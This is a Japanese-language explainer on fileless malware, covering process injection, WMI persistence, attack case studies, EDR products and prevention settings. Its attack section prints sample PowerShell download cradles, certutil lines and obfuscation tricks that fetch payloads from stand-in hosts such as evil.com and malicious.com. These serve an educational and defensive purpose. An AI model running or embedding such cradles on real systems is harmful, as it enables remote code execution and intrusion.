ファイルレスマルウェアの仕組み|メモリ常駐型の脅威
ファイルレスマルウェアは、従来のマルウェアとは根本的に異なる動作原理を持ちます。
ファイルレスの定義と特徴
「ファイルレス」という名称は若干の誤解を招きますが、正確には「実行ファイルレス」または「ディスクレス」を意味します。
- ファイルレスとは
- ディスクに実行ファイル(.exe、.dll等)を作成せず、主にメモリ上でのみ動作するマルウェアです。従来のシグネチャベースのアンチウイルスは、ディスク上のファイルをスキャンして既知のマルウェアパターンを検出しますが、ファイルレスマルウェアにはスキャンすべきファイルが存在しないため、検出が極めて困難です。初期侵入段階では一時的にファイルを使用する場合もありますが、実行後は即座に削除され、以降の活動はすべてメモリ上で行われます。レジストリ、WMI(Windows Management Instrumentation)リポジトリ、イベントログなど、正規のWindowsの仕組みにデータを保存することで、外部ツールなしに永続化を実現します。
- メモリ常駐の仕組み
- ファイルレスマルウェアは、正規のシステムプロセス(explorer.exe、svchost.exe、powershell.exe等)のメモリ空間に注入され、そのプロセスの一部として動作します。Windows APIのVirtualAllocEx、WriteProcessMemory、CreateRemoteThreadなどの正規の機能を使用して、他のプロセスのメモリ空間に悪意のあるコードを書き込み、実行します。このため、プロセス一覧を見ても正規のプロセスしか表示されず、異常を発見することが困難です。さらに、システム再起動によりメモリ内容がクリアされるため、フォレンジック調査も困難になります。ただし、永続化の仕組み(後述)により、再起動後も再度メモリに展開される設計になっています。
- 永続化の手法
- メモリ常駐型の弱点は、システム再起動で消えてしまうことです。これを克服するため、ファイルレスマルウェアはレジストリのRun/RunOnceキー、WMIイベントサブスクリプション、タスクスケジューラー、スタートアップフォルダなど、Windowsの正規の自動起動機能を悪用します。特にWMIイベントサブスクリプションは、特定のイベント(例:ユーザーログオン)をトリガーとしてPowerShellスクリプトを実行できるため、ファイルを一切使わずに永続化を実現できます。レジストリには、Base64エンコードされたPowerShellスクリプトが保存され、起動時に自動的にデコード・実行される仕組みです。これらはすべてWindowsの正規機能であり、それ自体が悪意のあるものではないため、検出が極めて困難です。
表1: ファイルレス vs 従来型マルウェア比較
| 特徴 | 従来型マルウェア | ファイルレスマルウェア |
|---|---|---|
| ディスクへの書き込み | あり(.exe、.dll等) | なし(またはごく一時的) |
| 主要な動作場所 | ディスク上のファイルから実行 | メモリ上でのみ実行 |
| 使用ツール | 独自の実行ファイル | OS標準ツール(PowerShell、WMI等) |
| シグネチャ検出 | 可能 | 不可能 |
| フォレンジック調査 | 容易(ファイル解析) | 困難(メモリダンプ必要) |
| 再起動後の痕跡 | ファイルが残る | メモリから消える |
| 永続化方法 | 自己コピー、レジストリ | レジストリ、WMI、タスク |
| 検出に必要な技術 | アンチウイルス | EDR、振る舞い検知 |
| 平均滞留期間 | 約60日 | 約200日 |
この表が示すように、ファイルレスマルウェアは従来型と比較して、あらゆる面で検出・対処が困難です。
Living off the Land戦術
ファイルレスマルウェアの核心的な戦術が、Living off the Land(LotL)です。これは「大地に生きる」、つまり外部から道具を持ち込まず、現地にあるもので生活するという意味です。
正規ツールの悪用
攻撃者は、Windowsに標準搭載されている正規のツールやユーティリティを悪用します。
悪用される主要ツール:
表2: Living off the Land ツール一覧
| ツール名 | 正規の用途 | 悪用方法 | 危険度 | 対策 |
|---|---|---|---|---|
| PowerShell | スクリプト実行、システム管理 | 難読化スクリプトでマルウェアダウンロード・実行 | ★★★★★ | Constrained Language Mode、署名強制 |
| WMI/WMIC | リモート管理、情報取得 | 永続化、横展開、情報収集 | ★★★★★ | WMIイベント監視、実行ログ記録 |
| PsExec | リモート実行 | 横展開、認証情報窃取 | ★★★★☆ | 使用制限、ログ監視 |
| Certutil | 証明書管理 | ファイルダウンロード、デコード | ★★★☆☆ | 使用監視、ホワイトリスト |
| Bitsadmin | バックグラウンド転送 | マルウェアダウンロード | ★★★☆☆ | 実行制限、監視 |
| Regsvr32 | DLL登録 | リモートスクリプト実行 | ★★★★☆ | スクリプト実行制限 |
| Mshta | HTMLアプリケーション実行 | スクリプト実行、回避技術 | ★★★★☆ | 使用制限 |
| Rundll32 | DLL関数実行 | 悪意のあるDLL実行 | ★★★★☆ | 実行監視 |
これらのツールはすべてMicrosoftの署名付き正規プログラムであり、アンチウイルスソフトはデフォルトで信頼します。そのため、これらのツールが悪意のある目的で使用されても、ブロックされません。
PowerShellの武器化
PowerShellは、ファイルレスマルウェアで最も頻繁に悪用されるツールです。
PowerShellが狙われる理由:
- Windows 7以降に標準搭載(削除困難)
- .NET Frameworkへの完全アクセス
- メモリ上でコードを直接実行可能
- Base64エンコードで簡単に難読化
- リモートスクリプトの実行が容易
典型的な攻撃フロー:
-
ダウンロードクレードル: PowerShellで外部からスクリプトをダウンロード・実行
IEX (New-Object Net.WebClient).DownloadString('http://悪意のあるサイト/script.ps1') -
難読化: Base64エンコード、変数名のランダム化で検出回避
-
メモリ展開: Invoke-ReflectivePEInjectionで実行ファイルをメモリに直接ロード
-
永続化: WMIイベントやタスクスケジューラーで自動実行
攻撃フレームワーク:
- PowerShell Empire: ポストエクスプロイテーションフレームワーク
- PowerSploit: 攻撃用PowerShellモジュール集
- Nishang: ペネトレーションテスト用スクリプト
これらはペネトレーションテストツールとして開発されましたが、攻撃者にも広く使用されています。
WMIを使った攻撃
WMI(Windows Management Instrumentation)も、ファイルレスマルウェアの重要なコンポーネントです。
WMIの悪用方法:
- 情報収集: システム情報、ネットワーク構成、インストール済みソフトの列挙
- リモート実行: 他のコンピュータでコマンド実行
- 永続化: WMIイベントサブスクリプションで自動起動
- 横展開: ネットワーク内の他のシステムへ侵入
WMI永続化の例:
# イベントフィルター(ログオン時をトリガー)
# イベントコンシューマー(PowerShellスクリプト実行)
# バインディング(フィルターとコンシューマーを結合)
WMIリポジトリ(OBJECTS.DATAファイル)にスクリプトが保存されるため、レジストリスキャンやファイルスキャンでは発見できません。
攻撃の段階
ファイルレスマルウェア攻撃は、複数の段階を経て実行されます。
初期侵入(Delivery)
最も一般的な侵入経路は:
- フィッシングメール: Office文書(Word、Excel)のマクロ経由
- 水飲み場攻撃: 正規サイトを改ざんし、訪問者に感染
- 脆弱性悪用: ブラウザやプラグインの脆弱性を利用
典型的なマクロ攻撃:
- Word文書を開くとマクロが有効化を要求
- マクロが実行されるとPowerShellが起動
- PowerShellが外部から次段階のペイロードをダウンロード
- 以降、すべてメモリ上で動作
メモリへの展開(Exploitation)
初期侵入後、マルウェアはメモリに展開されます。
プロセスインジェクション手法:
- DLLインジェクション: LoadLibrary APIで悪意のあるDLLをロード
- プロセスハロウイング: 正規プロセスを停止状態で起動し、メモリを入れ替え
- リフレクティブDLLインジェクション: DLLをディスクに書かず、直接メモリにマップ
- アトムボンビング: グローバルアトムテーブルを悪用したコード注入
これらの技術により、正規プロセスの中で悪意のあるコードが動作します。
権限昇格と横展開
メモリに展開後、攻撃者は権限を昇格させ、ネットワーク内を移動します。
権限昇格の手法:
- Windows脆弱性の悪用(EternalBlue等)
- 保存された認証情報の窃取(Mimikatz)
- Pass-the-Hash攻撃
- ゴールデンチケット攻撃(Kerberos認証の悪用)
横展開の手法:
- PsExecでリモート実行
- WMIでリモートコマンド実行
- SMB経由でのファイル共有悪用
- RDP(リモートデスクトップ)経由の侵入
これらはすべて、正規のWindowsの機能やプロトコルを使用しているため、ファイアウォールやIDS/IPSでは検出困難です。
従来型との違い|検出困難な理由
なぜファイルレスマルウェアは、従来のセキュリティ対策を簡単に突破できるのでしょうか。
シグネチャ検知の限界
従来のアンチウイルスソフトは、シグネチャ(パターンマッチング)ベースの検出に依存しています。
ファイルハッシュが存在しない
アンチウイルスの基本的な検出方法は:
- ファイルのハッシュ値(MD5、SHA-256)を計算
- 既知のマルウェアハッシュデータベースと照合
- 一致すれば検出・削除
しかし、ファイルレスマルウェアには:
- スキャンすべき実行ファイルが存在しない
- メモリ上のコードは毎回異なる(多態性)
- ハッシュ値の計算が不可能
このため、シグネチャベースの検出は完全に無効化されます。
パターンマッチングの無効化
ヒューリスティック検出(振る舞いパターンによる検出)も、ファイルレスマルウェアには効果が限定的です。
回避技術:
- 難読化: スクリプトを複雑に変形し、パターンを隠蔽
- 環境依存: 仮想マシンやサンドボックスを検知して動作を停止
- 時限式: 一定期間後に活動開始(サンドボックスの時間制限を回避)
- 正規ツールの使用: PowerShellやWMI自体は正規なので、使用自体は異常ではない
正規プロセスへの偽装
ファイルレスマルウェアは、正規のプロセスに偽装または注入されます。
- プロセスハロウイング
- 正規プロセス(例:svchost.exe)を停止状態(suspended)で起動し、そのメモリ内容を悪意のあるコードに置き換える手法です。プロセス一覧では正規のプロセス名が表示され、親プロセスも正規のもの(例:services.exe)として表示されます。しかし、実際にメモリ内で動作しているコードは完全に異なります。この手法は、CreateProcess APIでCREATE_SUSPENDED フラグを使用し、VirtualAllocEx、WriteProcessMemory、SetThreadContext、ResumeThreadなどのAPIを順次呼び出すことで実現されます。プロセスのPEB(Process Environment Block)も改ざんし、正規のパスとコマンドラインが表示されるようにします。
- プロセスインジェクション
- 既に実行中の正規プロセスに、悪意のあるコードを注入する手法です。explorer.exe(Windowsエクスプローラー)やsvchost.exe(Windowsサービスホスト)など、常に動作している信頼されたプロセスが標的になります。CreateRemoteThread APIを使用して、ターゲットプロセス内に新しいスレッドを作成し、そのスレッドで悪意のあるコードを実行します。あるいは、QueueUserAPCを使用してAPC(Asynchronous Procedure Call)キューに注入し、ターゲットスレッドが次にalertable状態になったときに実行させる方法もあります。これにより、ファイアウォールやセキュリティソフトが「信頼されたプロセスからの通信」として許可してしまいます。
- リフレクティブDLL注入
- 通常、DLLをロードするにはLoadLibrary APIを使用しますが、これはディスク上のDLLファイルを必要とします。リフレクティブDLL注入は、DLLファイルをディスクに書き込まず、メモリ上のバイト列から直接ロードする技術です。DLL自身が自分自身をメモリにマッピングするコード(リフレクティブローダー)を持ち、Windowsの標準ローダーを使用しません。このため、LoadLibrary APIの監視では検出できず、ディスク上にファイルも存在しません。Metasploit、Cobalt Strike Beaconなどの攻撃フレームワークで広く使用されている技術で、EDRによるAPIフックも回避できる場合があります。
痕跡の最小化
ファイルレスマルウェアは、フォレンジック調査を困難にする仕組みを持ちます。
フォレンジックの回避
痕跡を残さない工夫:
- メモリ常駐のみ: ディスクに痕跡なし
- システム再起動で消失: メモリダンプのタイミングを逃すと証拠消失
- 正規ツールの使用: 異常なファイルやプロセスが存在しない
- タイムスタンプ操作: ファイルを作成する場合も、タイムスタンプを改ざん
- 代替データストリーム(ADS): ファイルシステムの隠し領域に保存
ログの削除・改ざん
イベントログやセキュリティログも、攻撃者の標的になります。
ログ操作の手法:
- PowerShellで特定イベントIDのログを削除
- WMIでイベントログサービスを停止
- ログファイルの直接編集・削除
- ログ記録自体を無効化
対策:
- ログを外部のSIEMにリアルタイムで転送
- ログの改ざん防止(イミュータブル設定)
- ログ削除の試行自体をアラート
攻撃手法と事例|PowerShell、WMI悪用
実際のファイルレスマルウェア攻撃の事例を見てみましょう。
PowerShell悪用の実態
PowerShellは、ファイルレス攻撃の中核です。
難読化されたスクリプト
攻撃者は、スクリプトを難読化して検出を回避します。
難読化の手法:
# 通常のスクリプト
Invoke-WebRequest -Uri "http://malicious.com/payload" -OutFile "malware.exe"
# Base64エンコード
powershell -EncodedCommand <Base64文字列>
# 変数名のランダム化
$vRbK2 = "http://malicious.com"; $xP9mZ = New-Object Net.WebClient; $xP9mZ.DownloadFile($vRbK2, "payload")
# 文字列の分割と結合
$url = "ht" + "tp://" + "mal" + "icious." + "com"
# 複数層の難読化
Invoke-Expression (([regex]::Matches(<難読化された文字列>, '.', 'RightToLeft') | ForEach {$_.value}) -join '')
これらの難読化により、単純な文字列マッチングでは検出できなくなります。
ダウンロードクレードル
外部からペイロードをダウンロードして実行する「ダウンロードクレードル」は、ファイルレス攻撃の定番手法です。
主要なダウンロードクレードル:
# Net.WebClient
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')
# Invoke-WebRequest
IEX (Invoke-WebRequest -Uri 'http://evil.com/script.ps1' -UseBasicParsing).Content
# BitsTransfer
Import-Module BitsTransfer; Start-BitsTransfer -Source 'http://evil.com/payload' -Destination 'payload.exe'
# Certutil(PowerShellではないが併用される)
certutil -urlcache -split -f "http://evil.com/payload" payload.exe
Empire、PowerSploitの使用
PowerShell Empireは、ファイルレス攻撃に特化したポストエクスプロイテーションフレームワークです。
Empireの機能:
- エージェントの展開(メモリ常駐)
- C2(Command & Control)通信の暗号化
- 権限昇格モジュール
- 認証情報ダンプ(Mimikatz)
- 横展開モジュール
- 永続化モジュール
PowerSploitは、攻撃用PowerShellモジュール集です。
主要モジュール:
- Invoke-Mimikatz: メモリから認証情報抽出
- Invoke-ReflectivePEInjection: 実行ファイルをメモリに直接ロード
- Get-GPPPassword: グループポリシー設定から平文パスワード取得
- Invoke-TokenManipulation: トークン偽装で権限昇格
これらのツールはオープンソースで公開されており、攻撃者も防御者も使用できます。
WMI(Windows Management Instrumentation)攻撃
WMIは、Windowsのリモート管理を可能にする強力な機能ですが、攻撃にも悪用されます。
WMIイベントサブスクリプション
WMIイベントサブスクリプションは、特定のイベントをトリガーとして任意のコードを実行できる仕組みです。
構成要素:
-
イベントフィルター: トリガーとなるイベントを定義
例:ユーザーログオン、特定時刻、ファイル作成等 -
イベントコンシューマー: 実行するアクション
CommandLineEventConsumer: コマンド実行 ActiveScriptEventConsumer: VBScript/JScript実行 -
フィルターコンシューマーバインディング: 両者を結びつける
攻撃での利用:
- ログオン時にPowerShellスクリプトを自動実行
- 定期的に外部と通信してコマンド取得
- ファイルレスでの永続化実現
永続化メカニズム
WMI永続化の利点:
- ファイルレス: WMIリポジトリに保存(OBJECTS.DATA)
- 検出困難: 通常のスキャンでは発見できない
- 管理者権限: WMI永続化には管理者権限が必要だが、侵入後は取得済み
- 削除困難: WMIクエリを理解していないと削除できない
検出方法:
# イベントフィルター確認
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
# コンシューマー確認
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
# バインディング確認
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
実際の攻撃事例
実際に発生したファイルレスマルウェア攻撃の事例を紹介します。
- Astaroth攻撃キャンペーン
- 2019年から継続している大規模なファイルレス攻撃キャンペーンです。主に南米(ブラジル、チリ、メキシコ等)を標的とし、数十万の被害を出しました。攻撃の特徴は、完全にファイルレスで、正規ツールのみを使用する点です。攻撃フロー:①スピアフィッシングメールでLNKファイル(ショートカット)を配布、②LNKファイルがWMICコマンドを実行し、外部からXSLスタイルシートをダウンロード、③XSL内のJavaScriptがBITSAdminとCertutilを使用してペイロードをダウンロード、④すべてのペイロードがメモリ上で実行され、ディスクには一切保存されない、⑤最終的にバンキング型トロイの木馬Astarothがメモリに展開され、オンラインバンキング情報を窃取。この攻撃では、.exeファイルが一切使用されず、すべてWindowsの標準ツールで実行されました。
- FIN7のファイルレス攻撃
- FIN7(Carbanak Group)は、金融機関とPOSシステムを標的とするAPTグループです。2015年以降、世界中で数億ドル規模の被害を発生させています。FIN7のファイルレス攻撃は、①フィッシングメールで悪意のあるWord文書を配布、②マクロがmshta.exeを起動し、リモートからHTAファイルを実行、③HTAファイル内のJavaScriptがPowerShellを起動、④PowerShellがCobalt Strike Beaconをメモリに展開、⑤Beaconが横展開して、POSシステムに到達、⑥メモリスクレイピングでクレジットカード情報を窃取、という流れです。特徴は、Cobalt Strike(ペネトレーションテストツール)の正規ライセンスを購入して使用していた点です。正規ツールのため、セキュリティソフトが検出できませんでした。
- Kovter マルウェア
- Kovterは、「完全にファイルレス」なマルウェアの先駆けです。2016年頃に流行し、広告詐欺(アドフラウド)とクリック詐欺で年間数億円の被害を発生させました。Kovterの特徴は、すべてのコードがレジストリに保存され、ディスク上に実行ファイルが一切存在しない点です。動作の仕組み:①ドロッパー(通常のマルウェア)がシステムに侵入、②レジストリキーに難読化されたコードを書き込み、③Run キーでmshta.exeを起動するよう設定、④mshta.exeがレジストリからコードを読み込み、メモリ上で実行、⑤実行されたコードが広告を自動クリックし続ける。Kovterの駆除は非常に困難で、レジストリの特定キーを手動で削除する必要がありました。この攻撃により、ファイルレスマルウェアの脅威が広く認識されるようになりました。
最新の亜種と進化
ファイルレスマルウェアは、新しい環境にも拡大しています。
コンテナ環境への拡大
Dockerなどのコンテナ環境も、ファイルレス攻撃の標的になっています。
コンテナ特有の攻撃:
- コンテナエスケープ(ホストOSへの侵入)
- 実行中のコンテナへのコード注入
- イメージレイヤーへの悪意のあるコード埋め込み
対策:
- コンテナランタイムセキュリティ(Falco、Aqua Security等)
- 不変インフラの徹底(コンテナは読み取り専用)
- ベースイメージの脆弱性スキャン
クラウドネイティブ攻撃
クラウド環境(AWS、Azure、GCP)でも、ファイルレス攻撃が増加しています。
クラウド特有の手法:
- IAMロールの権限昇格
- メタデータサービスからの認証情報窃取
- サーバーレス関数(Lambda等)への注入
- マネージドサービスの設定ミス悪用
対策:
- CSPM(Cloud Security Posture Management)
- クラウドネイティブEDR(Wiz、Lacework等)
- 最小権限の原則の徹底
EDRによる検出と対策|振る舞い検知の重要性
ファイルレスマルウェアに対抗するには、従来のアンチウイルスでは不十分です。EDR(Endpoint Detection and Response)が必須となります。
EDR(Endpoint Detection and Response)の仕組み
EDRは、エンドポイント(PC、サーバー)の活動を継続的に監視し、異常を検知・対応するソリューションです。
振る舞い分析エンジン
EDRの核心は、「ファイル」ではなく「振る舞い」を監視することです。
監視対象:
- プロセスの作成と終了
- ネットワーク通信(送信先、ポート、プロトコル)
- ファイル操作(作成、変更、削除)
- レジストリ操作
- メモリ操作(プロセスインジェクション)
- API呼び出し(特に危険なAPI)
- PowerShell実行(スクリプトブロックロギング)
異常検知の例:
- PowerShellがBase64エンコードされたコマンドを実行
- 通常使用しないプロセスがリモート接続を開始
- explorer.exeが他のプロセスにコードを注入
- WMIでリモートコマンドを実行
- 深夜に大量のファイルが暗号化される
これらの「不審な振る舞い」を検知し、アラートを発します。
機械学習による異常検知
現代のEDRは、機械学習を活用して未知の脅威を検出します。
機械学習の役割:
- 通常の振る舞いパターンを学習(ベースライン作成)
- ベースラインからの逸脱を検出
- 類似する過去の攻撃との相関分析
- 誤検知の削減(フィードバック学習)
検出できる攻撃:
- ゼロデイ攻撃
- 未知のファイルレスマルウェア
- Living off the Land戦術
- APT攻撃の初期段階
主要EDR製品の比較
表3: EDR製品機能比較表
| 製品名 | ベンダー | 検出力 | 使いやすさ | 価格帯 | 主な特徴 |
|---|---|---|---|---|---|
| CrowdStrike Falcon | CrowdStrike | ★★★★★ | ★★★★☆ | 高 | クラウドネイティブ、軽量エージェント、脅威インテリジェンス統合 |
| Microsoft Defender for Endpoint | Microsoft | ★★★★☆ | ★★★★★ | 中 | Windows統合、M365連携、コストパフォーマンス高 |
| Carbon Black | VMware | ★★★★★ | ★★★☆☆ | 高 | 強力な検索機能、詳細なログ記録、ハンティング機能 |
| SentinelOne Singularity | SentinelOne | ★★★★★ | ★★★★☆ | 高 | 自律的な対応(AI)、ロールバック機能、クラウド・オンプレミス対応 |
| Cybereason Defense Platform | Cybereason | ★★★★☆ | ★★★★☆ | 中〜高 | ビジュアル分析、マルウェアOps、MDR統合 |
| Palo Alto Cortex XDR | Palo Alto | ★★★★★ | ★★★☆☆ | 高 | XDR統合、ネットワーク・クラウド連携、SOAR機能 |
CrowdStrike Falcon
特徴:
- 完全クラウドベース(オンプレミス管理不要)
- 軽量エージェント(CPU/メモリ負荷が最小)
- 脅威インテリジェンス「CrowdStrike Threat Graph」
- サブスクリプションモデル(初期投資不要)
強み:
- ファイルレスマルウェアの検出精度が高い
- グローバルな脅威インテリジェンス
- スケーラビリティ(数万台でも容易に管理)
弱み:
- インターネット接続必須
- 価格が高め
Microsoft Defender for Endpoint
特徴:
- Windows 10/11に標準統合
- Microsoft 365 E5に含まれる
- Azure ADとの統合
- Office 365、Azure、Identityと連携(XDR)
強み:
- 既存のMicrosoft環境との親和性
- 追加エージェント不要
- コストパフォーマンスが高い
弱み:
- Windows以外(macOS、Linux)のサポートが限定的
- 高度な機能は追加ライセンスが必要
Carbon Black
特徴:
- 強力なハンティング機能
- 詳細なイベントログ記録
- オンプレミス/クラウド選択可能
強み:
- フォレンジック調査に最適
- カスタマイズ性が高い
- API連携が豊富
弱み:
- 学習コストが高い
- リソース消費が大きめ
EDR導入のポイント
EDRは導入すれば終わりではありません。適切な運用が必須です。
- チューニングの重要性
- EDRは初期設定では誤検知(False Positive)が多く発生します。正規の業務活動が「異常」として検知されるため、アラート疲れに陥ります。そのため、環境に合わせた細かいチューニングが必須です。最低3ヶ月の学習期間を設け、誤検知のパターンを分析し、除外ルールを設定します。例えば、開発環境でのPowerShell使用は正常、経理部門での深夜のファイルアクセスは異常、といったコンテキストを理解させます。チューニングを怠ると、重要なアラートが大量の誤検知に埋もれてしまい、実際の攻撃を見逃すリスクがあります。継続的なチューニングと、定期的な設定見直しが、EDRの効果を最大化します。
- SOCとの連携
- EDRアラートを適切に分析・対応するSOC(Security Operations Center)体制が必要です。EDRは24時間365日稼働するため、人間による監視も同様に24/365であるべきです。しかし、多くの企業は自社でSOCを構築・運用する余裕がありません。その場合、MDR(Managed Detection and Response)サービスの利用を検討します。MDRは、EDRベンダーまたはMSSP(Managed Security Service Provider)が、EDRの監視・分析・対応を代行するサービスです。CrowdStrike Falcon Complete、Microsoft Defender Expertsなど、主要EDRベンダーは自社でMDRを提供しています。MDRを利用することで、専門家による24/365の監視と、迅速なインシデント対応が実現します。
- インシデントレスポンス
- EDRで脅威を検知した後の対応手順を事前に策定しておく必要があります。①自動隔離:感染端末を即座にネットワークから隔離(EDRの自動機能)、②証拠保全:メモリダンプ、イベントログ、ネットワークトラフィックの保存、③原因調査:侵入経路、影響範囲、攻撃者の目的を特定、④封じ込め:横展開の防止、同様の脆弱性を持つ他システムの保護、⑤駆除:マルウェアの完全削除、永続化メカニズムの除去、⑥復旧:システムの再構築、データの復元、⑦事後対応:再発防止策、関係者への報告。これらをプレイブック(手順書)として整備し、定期的な訓練で実効性を確認します。
XDRへの進化
EDRは、さらに広範囲の統合ソリューション「XDR(Extended Detection and Response)」へと進化しています。
エンドポイント以外の統合
XDRは、エンドポイントだけでなく、ネットワーク、クラウド、メール、Identityなど、複数のセキュリティレイヤーを統合します。
XDRが統合する領域:
- エンドポイント(EDR): PC、サーバー、モバイル
- ネットワーク(NDR): ファイアウォール、IDS/IPS、プロキシ
- クラウド(CSPM/CWPP): AWS、Azure、GCP
- メール(Email Security): Office 365、Gmail
- Identity(IDaaS): Azure AD、Okta
AIによる相関分析
XDRの強みは、複数の情報源からのアラートを相関分析し、攻撃の全体像を把握することです。
相関分析の例:
- メールゲートウェイが不審なメールを検知
- エンドポイントでユーザーが添付ファイルを開く
- PowerShellが外部と通信を開始
- 別の端末へのRDP接続が試行される
- Active Directoryで異常な認証が検知
これらの個別のイベントは、それぞれ単独では「低リスク」かもしれません。しかし、時系列と相関を分析すると、「APT攻撃の初期段階から横展開まで」という攻撃シナリオが浮かび上がります。
XDRは、こうした複雑な攻撃を自動的に関連付け、優先度の高いアラートとして提示します。
予防のベストプラクティス|スクリプト実行制御
ファイルレスマルウェアは検出が困難なため、「予防」が最も重要です。
PowerShell実行ポリシー
PowerShellは便利なツールですが、攻撃にも悪用されます。適切な制限が必要です。
表4: PowerShell実行ポリシーレベル
| ポリシー | 説明 | セキュリティレベル | 使用場面 |
|---|---|---|---|
| Restricted | すべてのスクリプト実行を禁止 | ★★★★★ | 一般ユーザー(PowerShell不要) |
| AllSigned | 署名付きスクリプトのみ実行可 | ★★★★☆ | 企業環境(推奨) |
| RemoteSigned | ダウンロードしたスクリプトは署名必須、ローカルは実行可 | ★★★☆☆ | 開発環境 |
| Unrestricted | 警告表示のみ、すべて実行可 | ★★☆☆☆ | テスト環境のみ |
| Bypass | 警告もなく実行可 | ★☆☆☆☆ | 使用すべきでない |
推奨設定:
- 一般ユーザー:
RestrictedまたはAllSigned - IT管理者:
AllSigned - 開発者:
RemoteSigned(最低限)
Constrained Language Mode
Constrained Language Mode(制約付き言語モード)は、PowerShellの機能を制限し、危険な操作を禁止します。
制限される機能:
- .NET Frameworkへの完全アクセス
- COM オブジェクトの作成
- Win32 APIの呼び出し
- Add-Type(任意のコードのコンパイル)
- Invoke-Expression(動的コード実行)
有効化方法:
- AppLockerまたはWDAC(Windows Defender Application Control)と連携
- 環境変数
__PSLockdownPolicyを設定
効果:
- ファイルレスマルウェアの典型的な攻撃手法を無効化
- 正規のスクリプト(署名付き)は通常動作
スクリプト署名の強制
PowerShellスクリプトに電子署名を義務付けることで、未承認のスクリプト実行を防ぎます。
実装手順:
-
コード署名証明書の取得
- 公的CAから購入(DigiCert、GlobalSign等)
- または社内CAで発行
-
スクリプトに署名
$cert = Get-ChildItem Cert:\CurrentUser\My -CodeSigningCert Set-AuthenticodeSignature -FilePath script.ps1 -Certificate $cert -
実行ポリシーを
AllSignedに設定Set-ExecutionPolicy AllSigned -Scope LocalMachine -
グループポリシーで強制
- コンピューターの構成 → 管理用テンプレート → Windows コンポーネント → Windows PowerShell
- 「スクリプトの実行を有効にする」→「署名済みスクリプトのみ許可」
ログ記録の有効化
PowerShellの実行内容を詳細にログ記録することで、フォレンジック調査と早期検知が可能になります。
有効化すべきログ:
-
スクリプトブロックロギング
- 実行されたすべてのスクリプトブロックを記録
- 難読化されたコードも自動的にデコードして記録
- イベントID 4104
-
トランスクリプトログ
- PowerShellセッション全体の入出力を記録
-
Start-Transcriptコマンドまたはグループポリシー
-
モジュールロギング
- 特定モジュール(例:Invoke-Expression)の実行を記録
- イベントID 4103
設定方法(グループポリシー):
- コンピューターの構成 → 管理用テンプレート → Windows コンポーネント → Windows PowerShell
- 「PowerShell スクリプト ブロックのログ記録を有効にする」
ログの監視:
- SIEMにログを転送し、自動分析
- 以下のような不審なパターンを検知:
- Base64エンコードされたコマンド
- ダウンロードクレードル
- Invoke-Expression、Invoke-Command の頻繁な使用
- 難読化の痕跡
アプリケーション制御
承認されたアプリケーションのみを実行許可する「ホワイトリスト方式」が、ファイルレスマルウェアに最も効果的です。
AppLocker/WDAC設定
AppLocker(Windows 7以降)とWDAC(Windows Defender Application Control、Windows 10以降)は、アプリケーション実行を制御する機能です。
制御対象:
- 実行ファイル(.exe、.com)
- DLL
- スクリプト(.ps1、.bat、.cmd、.vbs、.js)
- インストーラー(.msi、.msp)
- パッケージアプリ(UWP)
ルールの種類:
- 発行元ルール: デジタル署名に基づく(推奨)
- パスルール: インストール場所に基づく
- ハッシュルール: ファイルハッシュに基づく
ホワイトリスト方式
ブラックリスト(既知の悪意のあるものを禁止)ではなく、ホワイトリスト(承認されたもののみ許可)が、ファイルレス攻撃に有効です。
ホワイトリスト方式のメリット:
- 未知の脅威も自動的にブロック
- Living off the Land攻撃も制限可能(PowerShell、WMIの実行を制限)
- ランサムウェアの実行を防止
実装の課題:
- 初期設定に時間がかかる(すべての正規アプリを登録)
- 新しいソフトのインストールに承認プロセスが必要
- ユーザーからの不満(柔軟性の低下)
段階的な導入:
- 監査モード: ルール違反を記録するが、ブロックはしない
- データ収集: 実際に使用されているアプリを特定
- ホワイトリスト作成: 正規アプリをルールに追加
- 強制モード: ルール違反をブロック
- 継続的な調整: 新規アプリの追加リクエストを処理
権限管理の厳格化
攻撃者が管理者権限を取得できなければ、ファイルレスマルウェアの活動は大幅に制限されます。
- 最小権限の原則
- 管理者権限の使用を最小限に制限します。日常業務は標準ユーザー権限で実施し、昇格が必要な操作(ソフトのインストール、システム設定変更等)は、一時的に管理者権限を付与する形にします。これにより、万が一ユーザーがフィッシングメールを開いても、マルウェアは標準ユーザー権限でしか動作できず、システム全体への影響を最小化できます。Windows では、UAC(User Account Control)を適切に設定し、管理者権限が必要な操作では必ずプロンプトを表示させます。多くの攻撃は、UACを回避する「UACバイパス」技術を使用しますが、これも完璧ではありません。
- JIT/JEA(Just-In-Time/Just-Enough-Administration)
- 必要な時に、必要な権限のみを、必要な期間だけ付与する仕組みです。JIT(Just-In-Time)は、通常は権限を持たないアカウントに、承認プロセスを経て一時的に管理者権限を付与します。例えば、サーバーメンテナンスの30分間だけ管理者権限を付与し、終了後は自動的に剥奪します。JEA(Just-Enough-Administration)は、PowerShellの機能で、特定のコマンドレットのみ実行可能な「制限付き管理者」を実現します。例えば、「サービスの再起動のみ可能」「特定のログファイルの閲覧のみ可能」といった細かい権限制御ができます。これにより、権限の過剰付与を防ぎ、侵害された場合の被害を限定します。
- 特権アクセス管理(PAM)
- 特権アカウント(Domain Admin、Enterprise Admin、ローカル管理者等)の集中管理とモニタリングを行うソリューションです。CyberArk、BeyondTrust、Thycotic(Delinea)などのPAMソリューションは、特権アカウントのパスワードを金庫(Vault)に保管し、使用時のみチェックアウトします。さらに、特権セッション全体を録画し、後から監査できます。ファイルレスマルウェアが認証情報をダンプしても、PAMで管理されている特権アカウントのパスワードは定期的に自動変更されるため、窃取された認証情報の有効期間が限定されます。また、PAMは特権アカウントの使用を監視し、異常な使用(深夜のログイン、通常と異なる操作等)をアラートします。
ネットワークセグメンテーション
ファイルレスマルウェアが侵入しても、横展開を防ぐことで被害を限定できます。
マイクロセグメンテーション
従来のネットワークセグメンテーション(VLAN等)よりも細かく、ワークロード単位でセグメントを作成します。
マイクロセグメンテーションの利点:
- 侵入されても、横展開が困難
- ワークロード間の通信を最小限に制限
- 東西トラフィック(サーバー間通信)を監視・制御
実装方法:
- ソフトウェア定義ネットワーク(SDN)
- ホストベースファイアウォール
- ゼロトラストネットワークアクセス(ZTNA)
ゼロトラストアーキテクチャ
「信頼しない、常に検証する」という原則に基づくゼロトラストアーキテクチャは、ファイルレスマルウェアに効果的です。
ゼロトラストの原則:
- ネットワーク境界を信頼しない(内部ネットワークも危険)
- すべてのアクセスを認証・認可
